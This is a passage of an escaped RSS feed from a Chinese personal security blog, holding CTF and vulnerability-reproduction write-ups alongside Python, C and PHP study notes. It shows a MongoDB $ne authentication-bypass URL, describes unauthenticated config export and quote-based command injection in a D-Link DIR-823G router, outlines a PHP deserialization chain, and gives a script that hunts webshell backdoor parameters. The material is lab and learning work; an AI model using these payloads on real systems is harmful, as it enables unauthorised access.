&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/nosql3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;都有数据库，不同的是集合对应于表，文档对应于行，字段对应于列&lt;/p&gt;
&lt;p&gt;这张图显示了映射关系：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/nosql4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;于是操作MongoDb时可以理解为选择数据库，然后选择collection，然后构造查询语句进行查询&lt;/p&gt;
&lt;p&gt;比如demo.html&lt;/p&gt;
&lt;p&gt;&lt;code&gt;$m = new MongoClient()&lt;/code&gt;连接数据库，&lt;code&gt;$db=$m-&amp;gt;test&lt;/code&gt;选择test数据库，然后选择collection : &lt;code&gt;$collection=$db-&amp;gt;uses&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;构造的查询语句为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$data = array(
		&apos;username&apos; =&amp;gt;  $_REQUEST[&apos;username&apos;],
		&apos;password&apos; =&amp;gt;  $_REQUEST[&apos;password&apos;]
		
);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后进行查询： &lt;code&gt;$cursor = $collection-&amp;gt;find($data)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;这里没有字符串的拼接，似乎无法注入，但是如果我们传入的username和password都是数组的话，那么查询的语句就会成为这样：&lt;/p&gt;
&lt;p&gt;构造的URL：&lt;code&gt;http://localhost/NoSQLI/login/login.php?username[$ne]=1&amp;amp;password[$ne]=1&amp;amp;login-submit=login&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;此时拼接的&lt;code&gt;$data&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/nosql5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;json_encode后得到：&lt;br /&gt;
&lt;code&gt;&quot;{&quot;username&quot;:{&quot;$ne&quot;:&quot;1&quot;},&quot;password&quot;:{&quot;$ne&quot;:&quot;1&quot;}}&quot;&lt;/code&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://blog.szfszf.top/tech/nosql%e6%b3%a8%e5%85%a5%e6%80%bb%e7%bb%93mongodb/#MongoDB&quot;&gt;NoSQL注入总结(MongoDB)&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://skysec.top/2019/07/22/CyBRICS-CTF-Quals-2019-Web-Writeup/&quot;&gt;019 CyBRICS CTF Quals wp&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>DIR-823G复现</title><link>https://rayepeng.net/posts/dir-823g%E5%A4%8D%E7%8E%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/dir-823g%E5%A4%8D%E7%8E%B0/</guid><pubDate>Sat, 03 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Dlink DIR-823G漏洞复现(CVE-2019-7298, CVE-2019-7297)&lt;/h2&gt;
&lt;p&gt;binwale提取文件&lt;/p&gt;
&lt;p&gt;文件下载&lt;a href=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823GA1_FW102B03.bin&quot;&gt;地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;之后进行固件的模拟，&lt;/p&gt;
&lt;p&gt;成功ping通网络&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/ping0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;第一次进入路由器需要需要进行一些设置页面，查看是否有未授权访问的情况&lt;/p&gt;
&lt;p&gt;导出配置文件（信息泄露）。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/2ElxWaU.png&quot; alt=&quot;DIR823-0&quot; /&gt;&lt;/p&gt;
&lt;p&gt;浏览器访问直接弹出了下载页面&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://i.imgur.com/7Y9pWFQ.png&quot; alt=&quot;DIR823-1&quot; /&gt;&lt;/p&gt;
&lt;p&gt;导出配置文件，&lt;br /&gt;
&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;获取到系统信息&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;goahead程序分析(命令注入)&lt;/h2&gt;
&lt;p&gt;在查看固件的bin目录时发现了一个goahead的程序，说明此路由器是通过goahead进行开发的&lt;/p&gt;
&lt;p&gt;拖入到IDA中进行分析，发现0x42424C处注册了处理函数&lt;/p&gt;
&lt;p&gt;抓取到登陆的数据包，是发往/HNAP1/的&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;分析&lt;code&gt;/HNAP1&lt;/code&gt; 处理函数的逻辑。 函数位于&lt;code&gt;0x42383C&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;在这个部分，从函数表中进行遍历，寻找函数&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;函数表如下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;找到了需要调用的处理函数后，会首先记录 POST 的原始报文, 首先用 snprintf 生成命令， 然后使用 system 执行。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我们可以通过直接注入 &lt;code&gt;&apos;&lt;/code&gt; 来命令执行&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-9.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;验证一下：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/DIR823-10.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;参考&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/leonW7/D-Link/blob/master/Vul_2.md&quot;&gt;DIR-823G HNAP_Entry_Func&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>qwb复现</title><link>https://rayepeng.net/posts/qwb%E5%A4%8D%E7%8E%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/qwb%E5%A4%8D%E7%8E%B0/</guid><pubDate>Sat, 03 Aug 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;复现一些qwb的题目&lt;/p&gt;
&lt;h2&gt;upload&lt;/h2&gt;
&lt;p&gt;可以通过dirsearch找到泄露的源码 ， -u指定url， -e指定插件&lt;br /&gt;
如果是代码审计题，而且是文件很多的，需要找到利用点，我们直接搜索&lt;code&gt;unserialize&lt;/code&gt;找到一处可以利用的代码：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function login_check(){
       $profile=cookie(&apos;user&apos;);  //获取到cookie中的user值
       if(!empty($profile)){
           $this-&amp;gt;profile=unserialize(base64_decode($profile)); //直接反序列化
           $this-&amp;gt;profile_db=db(&apos;user&apos;)-&amp;gt;where(&quot;ID&quot;,intval($this-&amp;gt;profile[&apos;ID&apos;]))-&amp;gt;find();
           if(array_diff($this-&amp;gt;profile_db,$this-&amp;gt;profile)==null){
               return 1;
           }else{
               return 0;
           }
       }
   }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;接下来去寻找哪里调用了这个方法，在Profile这个类中&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function upload_img(){
     if($this-&amp;gt;checker){
         if(!$this-&amp;gt;checker-&amp;gt;login_check()){
             $curr_url=&quot;http://&quot;.$_SERVER[&apos;HTTP_HOST&apos;].$_SERVER[&apos;SCRIPT_NAME&apos;].&quot;/index&quot;;
             $this-&amp;gt;redirect($curr_url,302);
             exit();
         }
     }
     ...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;upload_img方法&lt;/code&gt;会调用&lt;code&gt;login_check&lt;/code&gt;反序列化&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;而这个操作中的 \$this-&amp;gt;ext、\$this-&amp;gt;filename_tmp、$this-&amp;gt;filename 均可通过反序列化控制。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同时在&lt;code&gt;Profile.php&lt;/code&gt;文件的末尾还有一处&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __get($name)
{
    return $this-&amp;gt;except[$name];
}

public function __call($name, $arguments)
{
    if($this-&amp;gt;{$name}){
        $this-&amp;gt;{$this-&amp;gt;{$name}}($arguments);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这两个函数的意思是如果访问了类中的&lt;code&gt;private&lt;/code&gt;属性，就会调用&lt;code&gt;__get&lt;/code&gt;方法，如果调用了类中不存在的方法，就会通过&lt;code&gt;__call&lt;/code&gt;对&lt;code&gt;$this-&amp;gt;name&lt;/code&gt;所指向的方法进行调用&lt;/p&gt;
&lt;p&gt;意味着我们可以调用任意的类方法&lt;/p&gt;
&lt;p&gt;同时在&lt;code&gt;Register.php&lt;/code&gt;中有一处：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;public function __destruct()
{
    if(!$this-&amp;gt;registed){
        $this-&amp;gt;checker-&amp;gt;index();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;首先上传一个图片马，之后通过&lt;code&gt;Register&lt;/code&gt;类的&lt;code&gt;__destruct&lt;/code&gt;方法，调用&lt;code&gt;__get&lt;/code&gt;方法得到函数名&lt;code&gt;upload_img&lt;/code&gt;，再调用&lt;code&gt;__call&lt;/code&gt;方法，通过调用&lt;code&gt;upload_img&lt;/code&gt;可以对图片马进行改名&lt;/p&gt;
&lt;p&gt;如果我们将&lt;code&gt;$this-&amp;gt;checker&lt;/code&gt;赋值为&lt;code&gt;Profile&lt;/code&gt;类，由于&lt;code&gt;Profile&lt;/code&gt;类中不存在&lt;code&gt;index&lt;/code&gt;方法，就会触发&lt;code&gt;__call&lt;/code&gt;，这样就能构造一条完成的攻击链&lt;/p&gt;
&lt;h2&gt;高明的黑客&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;

filenames = os.listdir(&apos;/var/www/html/src&apos;)
pattern = re.compile(r&quot;\$_[GEPOST]{3,4}\[.*\]&quot;)
for name in filenames:
    print(name)
    with open(&apos;/var/www/html/src/&apos;+name,&apos;r&apos;) as f:
        data = f.read()
    result = list(set(pattern.findall(data)))

    for ret in result:
        try:
            command = &apos;uname&apos;
            flag = &apos;Linux&apos;
            # command = &apos;phpinfo();&apos;
            # flag = &apos;phpinfo&apos;
            if &apos;GET&apos; in ret:
                passwd = re.findall(r&quot;&apos;(.*)&apos;&quot;,ret)[0]
                r = requests.get(url=&apos;http://127.0.0.1:8888/&apos; + name + &apos;?&apos; + passwd + &apos;=&apos;+ command)
                if flag in r.text:
                    print(&apos;backdoor file is: &apos; + name)
                    print(&apos;GET:  &apos; + passwd)
            elif &apos;POST&apos; in ret:
                passwd = re.findall(r&quot;&apos;(.*)&apos;&quot;,ret)[0]
                r = requests.post(url=&apos;http://127.0.0.1:8888/&apos; + name,data={passwd:command})
                if flag in r.text:
                    print(&apos;backdoor file is: &apos; + name)
                    print(&apos;POST:  &apos; + passwd)
        except : pass
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>cybrics复现</title><link>https://rayepeng.net/posts/cybrics%E5%A4%8D%E7%8E%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/cybrics%E5%A4%8D%E7%8E%B0/</guid><pubDate>Wed, 31 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;目前太菜了，没做出几道cybrics的题目，趁着题目还在复现一波&lt;/p&gt;
&lt;h2&gt;Zakukozh&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/cybrics0.png&quot; alt=&quot;&quot; /&gt;&lt;br /&gt;
&lt;a href=&quot;https://dystopia.sg/files/zakukozh.bin&quot;&gt;下载地址&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;下载了一个文件，于是想查看文件类型：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;zakukozh.bin: data&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;题目中有提示说是&lt;code&gt;affine cipher&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;affine cipher&lt;/code&gt;中文翻译过来就是放射密码，可以理解成简单的替换加密，比如wikipedia上举出的&lt;a href=&quot;https://en.wikipedia.org/wiki/Affine_cipher#Examples&quot;&gt;栗子&lt;/a&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;一个大小为m的字母表，通过变换 $E(x) = (ax+b) mod \, m$ 得到密文&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;查看文件的十六进制形式，学习一些&lt;code&gt;hexdump&lt;/code&gt;命令&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pxy@LAPTOP-UBIEP4K5  /mnt/f/1.ctf/cybrics/crypto  hexdump -C zakukozh.bin| head
00000000  60 09 eb 82 1c ef df ef  59 59 59 1c a0 91 55 27  |`.......YYY...U&apos;|
00000010  59 59 77 bc 59 59 59 2e  d1 77 59 59 59 a9 44 38  |YYw.YYY..wYYY.D8|
00000020  31 59 59 59 68 16 27 82  37 59 8b 6b fd 00 59 59  |1YYYh.&apos;.7Y.k..YY|
00000030  59 95 62 28 dc 28 59 59  b8 ba fe 1d 08 a4 59 59  |Y.b(.(YY......YY|
00000040  59 e0 e9 91 90 16 59 59  2b c6 59 59 2b c6 68 02  |Y.....YY+.YY+.h.|
00000050  da 31 35 59 59 fe 7e a0  55 28 45 61 db 3c 3d 10  |.15YY.~.U(Ea.&amp;lt;=.|
00000060  08 a6 a1 a3 a4 89 ab 3e  68 b0 1b 82 a6 35 fd cd  |.......&amp;gt;h....5..|
00000070  1c e0 d9 de 59 67 7f e3  45 70 b0 e2 e6 22 55 17  |....Yg..Ep...&quot;U.|
00000080  32 d9 de 3e 87 1d d2 c2  59 51 e7 e6 59 49 a2 82  |2..&amp;gt;....YQ..YI..|
00000090  68 39 eb ab 77 19 7d fd  a4 d9 a1 b0 ef 59 f8 07  |h9..w.}......Y..|
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看十六进制数据如上，根据题目的提示，这就是仿射加密之后的结果，那么如何确定a,b,m这三个参数&lt;/p&gt;
&lt;p&gt;由于是二进制数据，那么m就是256&lt;br /&gt;
a和b就通过爆破来解决&lt;/p&gt;
&lt;p&gt;脚本如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;def reffine(a, b, c):
    return chr((a * (ord(c) - b)) % 256)

with open(&apos;zakukozh.bin&apos;) as f:
	encrypted = f.read()

for i in range(256):
    for j in range(256):
        decrypted = &apos;&apos;.join([reffine(i, j, c) for c in encrypted])

        with open(&apos;output/dec_{}_{}.out&apos;.format(i, j), &apos;wb&apos;) as f:
            f.write(decrypted)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是跑的太慢了 :joy:&lt;/p&gt;
</content:encoded></item><item><title>python文档阅读笔记3</title><link>https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B03/</link><guid isPermaLink="true">https://rayepeng.net/posts/python%E6%96%87%E6%A1%A3%E9%98%85%E8%AF%BB%E7%AC%94%E8%AE%B03/</guid><pubDate>Wed, 31 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;python文件操作&lt;/h2&gt;
&lt;p&gt;读文件，使用&lt;code&gt;open&lt;/code&gt;函数打开一个文件&lt;br /&gt;
如果不指定模式，则默认以 text mode 打开&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;这意味着从文件中读取或写入字符串时，都会以指定的编码方式进行编码。如果未指定编码格式，默认值与平台相关&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;code&gt;read()&lt;/code&gt;方法，可选参数&lt;code&gt;size&lt;/code&gt;，当 size 被省略或者为负的时候，将读取并返回文件的整个内容&lt;/p&gt;
&lt;p&gt;&lt;code&gt;readline()&lt;/code&gt;方法，从文件中读取一行&lt;/p&gt;
&lt;p&gt;如果要遍历文件，可以采取遍历文件对象的方式：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; for line in f:
...     print(line, end=&apos;&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这种实现方式比较高效&lt;/p&gt;
&lt;p&gt;在编写脚本的过程中，注意文件的打开方式，编码这些小细节&lt;/p&gt;
&lt;p&gt;写文件&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;f.write(string) 会把 string 的内容写入到文件中，并返回写入的字符数。&lt;/p&gt;
&lt;p&gt;f.tell() 返回一个整数，给出文件对象在文件中的当前位置，表示为二进制模式下时从文件开始的字节数，以及文本模式下的不透明数字。&lt;/p&gt;
&lt;/blockquote&gt;
</content:encoded></item><item><title>C语言缓冲区</title><link>https://rayepeng.net/posts/c%E8%AF%AD%E8%A8%80%E7%BC%93%E5%86%B2%E5%8C%BA/</link><guid isPermaLink="true">https://rayepeng.net/posts/c%E8%AF%AD%E8%A8%80%E7%BC%93%E5%86%B2%E5%8C%BA/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;调试一下c语言程序&lt;/h1&gt;
&lt;p&gt;自我感觉很久没写C语言了&lt;/p&gt;
&lt;h2&gt;getchar函数&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;   char a = getchar();
printf(&quot;a is %c\n&quot;, a);
char b = getchar();
printf(&quot;b is %c\n&quot;, b);
char c = getchar();
printf(&quot;c is %c\n&quot;, c);
return 0;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;getchar函数是依次从缓冲区中取出字符来，会取走的！！&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nihao
a is n
b is i
c is h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这一行&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for (; scanf(&quot;%d&quot;, &amp;amp;nums[i]) != 0 &amp;amp;&amp;amp; getchar() == &apos; &apos;; ++i)
	nums = (int*)realloc(nums, sizeof(int) * (i + 1)); //数组为非降序排列
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会要求用户输入数据，用户输入的数据就是会存放在缓冲区内，然后之后scanf每次读一个数字，getchar紧随其后读一个字符，所以我们输入的时候必须是一个数字一个空格&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while (getchar() == &apos;\n&apos; || getchar() == EOF || getchar() == &apos;\0&apos;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;之后把缓冲区的字符读干净&lt;/p&gt;
&lt;p&gt;测试一下，如果我输入&lt;code&gt;12 21\n&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;那么scanf读完21之后，getchar函数读&lt;code&gt;\n&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00D52466  je          main+0DEh (0D524AEh)  
00D52468  mov         esi,esp  
00D5246A  call        dword ptr [__imp__getchar (0D5F220h)]   ;函数返回值存放在eax中，十进制10，代表LF
00D52470  cmp         esi,esp  
00D52472  call        __RTC_CheckEsp (0D51357h)  
00D52477  cmp         eax,20h  
00D5247A  jne         main+0DEh (0D524AEh)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键是这两条指令：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00D52472  call        __RTC_CheckEsp (0D51357h)  
00D52477  cmp         eax,20h
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以之后比较&lt;code&gt;cmp eax 20h&lt;/code&gt;就会跳出循环&lt;/p&gt;
&lt;p&gt;之后进入那个while循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while (getchar() == &apos;\n&apos; || getchar() == EOF || getchar() == &apos;\0&apos;);
00D524AE  mov         esi,esp  
00D524B0  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524B6  cmp         esi,esp  
00D524B8  call        __RTC_CheckEsp (0D51357h)  
00D524BD  cmp         eax,0Ah  
00D524C0  je          main+119h (0D524E9h)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;此时缓冲区已经是空的了，所以会要求用户继续输入数据&lt;br /&gt;
我此时输入了 &lt;code&gt;1\n&lt;/code&gt;&lt;br /&gt;
所以调用完&lt;code&gt;getchar&lt;/code&gt;函数之后eax存放了十六进制的49&lt;/p&gt;
&lt;p&gt;那么第二个调用&lt;code&gt;getchar&lt;/code&gt;读取的结果就是&lt;code&gt;0Ah&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00D524C2  mov         esi,esp  
00D524C4  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524CA  cmp         esi,esp  
00D524CC  call        __RTC_CheckEsp (0D51357h)  
00D524D1  cmp         eax,0FFFFFFFFh
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;继续。此时缓冲区已经空了&lt;/p&gt;
&lt;p&gt;那么会要求用户继续输入&lt;br /&gt;
我又输入了一个换行符，很明显此时读取的结果非空，所以跳出while循环&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;00D524D8  call        dword ptr [__imp__getchar (0D5F220h)]  
00D524DE  cmp         esi,esp  
00D524E0  call        __RTC_CheckEsp (0D51357h)  
00D524E5  test        eax,eax   ;检查eax是否为空
00D524E7  jne         main+11Bh (0D524EBh)  
00D524E9  jmp         main+0DEh (0D524AEh)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/xinyongpeng/gitpic/master/c0.png&quot; alt=&quot;eax&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;遇到的尴尬&lt;/h2&gt;
&lt;p&gt;如果要程序的健壮性，那么用户多输入一个空格就会出错，因为多输入一个空格程序就不知道后面那个是什么了，同时还涉及到&lt;code&gt;getchar&lt;/code&gt;函数清空缓冲区，那个while循环的写法确实很经典，但是就没有考虑过如果缓冲区本身就是空的呢？&lt;/p&gt;
&lt;p&gt;我修改了一下原有的代码，加入了&lt;code&gt;cin.peek&lt;/code&gt;函数来帮助判断&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;while (1)
{

	nums = (int*)realloc(nums, sizeof(int) * (i + 1));
	scanf(&quot;%d&quot;, &amp;amp;nums[i]);
	i++;
	char ch = getchar();
	if (ch == &apos; &apos;)
	{
		if (isdigit(cin.peek()))
		{
			continue;
		}
		else
		{
			break;
		}
	}
	if (ch == &apos;\n&apos;)
	{
		break;
	}
}
//    for(;scanf(&quot;%d&quot;, &amp;amp;nums[i]) != 0 &amp;amp;&amp;amp; getchar() == &apos;\n&apos;; i++)
//    {
//        nums = (int *)realloc(nums, sizeof(int)*(i+1));
//    }
fflush(stdin);
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>blog 更新小记</title><link>https://rayepeng.net/posts/blog-%E6%9B%B4%E6%96%B0%E5%B0%8F%E8%AE%B0/</link><guid isPermaLink="true">https://rayepeng.net/posts/blog-%E6%9B%B4%E6%96%B0%E5%B0%8F%E8%AE%B0/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;更新&lt;/h2&gt;
&lt;p&gt;简单地更新了一下自己的blog，虽然是这么说，但是实际上还是花了不少时间来完善，主要有：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;修改了代码的高亮格式，黑色的主题更好看一些&lt;/li&gt;
&lt;li&gt;更换了blog的markdown引擎，可以渲染emoj了&lt;/li&gt;
&lt;li&gt;修改了自我介绍，去掉了网易云音乐的外链，因为失效了，同时添加了简书和知乎链接&lt;/li&gt;
&lt;li&gt;添加了友链&lt;/li&gt;
&lt;li&gt;添加了评论gitment&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;&lt;em&gt;TODO&lt;/em&gt;&lt;/h2&gt;
&lt;p&gt;搜索功能没有没法用&lt;/p&gt;
&lt;p&gt;blog还可以更美化一点&lt;/p&gt;
&lt;h2&gt;一点感想&lt;/h2&gt;
&lt;p&gt;喜欢自己搭建的这个小天地，虽然有这么或者那么的不完善，但是这个blog见证着我的成长！&lt;/p&gt;
</content:encoded></item><item><title>php-manual-note-0</title><link>https://rayepeng.net/posts/php-manual-note-0/</link><guid isPermaLink="true">https://rayepeng.net/posts/php-manual-note-0/</guid><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;php doc阅读笔记0&lt;/h1&gt;
&lt;h2&gt;array&lt;/h2&gt;
&lt;p&gt;数组是php的key=&amp;gt;value映射&lt;br /&gt;
key只能是&lt;code&gt;integer&lt;/code&gt;和&lt;code&gt;string&lt;/code&gt;类型，value可以是任意类型&lt;/p&gt;
&lt;p&gt;所以key会有如下强制转换：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;包含有合法整型值的字符串会被转换为整型。例如键名 “8” 实际会被储存为 8。但是 “08” 则不会强制转换，因为其不是一个合法的十进制数值。&lt;/li&gt;
&lt;li&gt;浮点数也会被转换为整型，意味着其小数部分会被舍去。例如键名 8.7 实际会被储存为 8。&lt;/li&gt;
&lt;li&gt;布尔值也会被转换成整型。即键名 true 实际会被储存为 1 而键名 false 会被储存为 0。&lt;/li&gt;
&lt;li&gt;Null 会被转换为空字符串，即键名 null 实际会被储存为 “”。&lt;/li&gt;
&lt;li&gt;数组和对象不能被用为键名。坚持这么做会导致警告：Illegal offset type。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;比如官方举例如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

$array = array(
  1    =&amp;gt; &quot;a&quot;,
  &quot;1&quot;  =&amp;gt; &quot;b&quot;,
  1.5  =&amp;gt; &quot;c&quot;,
  true =&amp;gt; &quot;d&quot;,
);
var_dump($array);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出如下：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;array(1) {
  [1] =&amp;gt;
  string(1) &quot;d&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;会导致数组的一部分值被覆盖掉&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;上例中所有的键名都被强制转换为 1，则每一个新单元都会覆盖前一个的值，最后剩下的只有一个 “d”。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;同时：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;key 为可选项。如果未指定，PHP 将自动使用之前用过的最大 integer 键名加上 1 作为新的键名。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;那就会有这种结果：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;$array = array(
  &quot;a&quot;,
  &quot;b&quot;,
6 =&amp;gt; &quot;c&quot;,
  &quot;d&quot;,
);
var_dump($array);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;array(4) {
  [0] =&amp;gt;
  string(1) &quot;a&quot;
  [1] =&amp;gt;
  string(1) &quot;b&quot;
  [6] =&amp;gt;
  string(1) &quot;c&quot;
  [7] =&amp;gt;
  string(1) &quot;d&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;神奇的解引用语法&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php

function getArray(){
  return array(1,2,3,4);
}

//解引用语法

$a = getArray()[0];
var_dump($a);
list(, $secondelement) = getArray();

var_dump($secondelement);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;输出为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;int(1)
int(2)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;list&lt;/code&gt;定义为：将数组中的值赋值给变量&lt;/p&gt;
&lt;h3&gt;用[]的语法&lt;/h3&gt;
&lt;p&gt;如果有一个数组 &lt;code&gt;$arr = array(5 =&amp;gt; 1, 12 =&amp;gt; 2);&lt;/code&gt;&lt;br /&gt;
那么&lt;code&gt;$arr[] = 56&lt;/code&gt;相当于&lt;code&gt;$arr[13]=56&lt;/code&gt;&lt;/p&gt;
